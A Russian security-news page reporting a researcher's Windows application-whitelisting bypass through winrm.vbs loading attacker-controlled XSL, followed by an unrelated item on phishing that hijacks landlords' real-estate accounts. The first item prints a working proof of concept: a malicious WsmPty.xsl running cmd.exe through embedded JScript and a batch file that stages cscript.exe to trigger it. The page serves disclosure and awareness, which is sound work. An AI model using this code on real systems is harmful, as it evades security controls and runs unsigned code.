В Windows найден метод обхода белых списков приложений

Олег Иванов 16 Июля 2018 - 08:51

...

В Windows найден метод обхода белых списков приложений

Исследователь в области кибербезопасности Мэтт Гребер нашел интересный метод обхода белых списков приложений в Windows. Помимо этого, эксперт описал технику выполнения произвольного неподписанного кода в winrm.vbs.

winrm.vbs (подписанный Windows скрипт в System32) способен выполнять контролируемый злоумышленником XSL, который не попадет под ограничения «enlightened script host», в результате это приведет к выполнению произвольного неподписанного кода.

«Если вы добавляете “-format:pretty” или “ -format:text” в winrm.vbs, он вытащит WsmPty.xsl или WsmTxt.xsl из каталога, в котором находится cscript.exe. Это значит, что атакующий может скопировать cscript.exe в нужное ему место, где находится вредоносный XSL», — пишет специалист.

«Благодаря этому киберпреступник может добиться выполнения произвольного неподписанного кода. Эта техника практически идентична описанному Кейси Смитом методу с использованием wmic.exe».

Что касается Proof-of-Concept, эксперт опубликовал следующие шаги:

Поместить вредоносный файл WsmPty.xsl или WsmTxt.xsl в контролируемую атакующим директорию.
Скопировать файл cscript.exe или wscript.exe в ту же самую директорию.
Выполнить winrm.vbs с «-format», указав «pretty» (если был помещен файл WsmPty.xsl) или «text» (если был помещен файл WsmTxt.xsl).

Исследователь привел пример вредоносного XSL, который можно поместить в контролируемый злоумышленником каталог. В качестве примера эксперт помещает файл по этому пути — C:\BypassDir\WsmPty.xsl.

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="JScript">
 <![CDATA[
 var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
 ]]> </ms:script>
</stylesheet>

Грамотное оформление вредоносного файла WsmPty.xsl должно включать использование встроенного пейлоада DotNetToJScript, приводящего к выполнению произвольного кода.

«В процессе помещения файла WsmPty.xsl можно использовать следующий пакетный файл для запуска пейлоада», — объясняет эксперт:

mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty

Следующая главная новость »

Подписывайтесь на канал "AM Live" в Telegram, чтобы первыми узнавать о главных событиях и предстоящих мероприятиях по информационной безопасности.

Екатерина Быстрова 05 Ноября 2025 - 15:24

Фишинг Мошенничество Онлайн-мошенничество Домашние пользователи F6

Мошенники крадут личные кабинеты арендодателей через фишинговые ссылки

Компания F6 сообщила о новой мошеннической схеме, направленной на захват личных кабинетов пользователей в сервисах поиска недвижимости. Под видом арендаторов или покупателей злоумышленники связываются с владельцами квартир и присылают фишинговые ссылки, ведущие на поддельные сайты, внешне неотличимые от настоящих.

Когда пользователь переходит по такой ссылке, его просят ввести номер телефона и код подтверждения — после этого мошенники получают доступ к личному кабинету. С его помощью они размещают фальшивые объявления о продаже или аренде жилья, чтобы обмануть новых жертв.

По данным аналитиков, с сентября 2025 года злоумышленники начали создавать сеть ложных доменов, маскирующихся под популярные сервисы недвижимости. Эти сайты регистрировались в доменных зонах .ru, .com, .icu и .digital, а в их адресах часто использовались слова «rent» и «flat».

Фишинговые ссылки распространялись двумя способами.

Через городские телеграм-каналы, где публикуются объявления о съёме и продаже квартир. Мошенники размещали сообщения вроде «Сдам квартиру на длительный срок», добавляя ссылку, которая вела на поддельный сайт.

Прямое общение с владельцами жилья. Преступники писали им в мессенджерах под видом потенциальных арендаторов, утверждая, что нашли «такое же объявление, но с другими данными», и прикладывали ссылку. При переходе по ней пользователи попадали на фишинговую страницу авторизации, где и теряли доступ к аккаунту.

По данным F6, с 10 сентября 2025 года специалисты заблокировали восемь таких доменов, но мошенники могут продолжить регистрировать новые. В ряде случаев поддельные сайты создавались всего за несколько дней до атаки.

По словам экспертов, рост подобных схем может быть связан с тем, что после ужесточения правил регистрации сим-карт мошенникам стало труднее создавать новые фейковые аккаунты. Теперь они предпочитают угонять уже существующие учётные записи, чтобы размещать от имени реальных пользователей объявления-приманки.

Ранее злоумышленники активно использовали классическую схему «мамонт», предлагая арендаторам или покупателям внести предоплату по поддельным ссылкам. Теперь же они переключились на владельцев недвижимости, выманивая у них данные для входа или реквизиты банковских карт.

Эксперты советуют внимательно проверять ссылки, не переходить по ним из чатов и не вводить коды подтверждения вне официальных сайтов.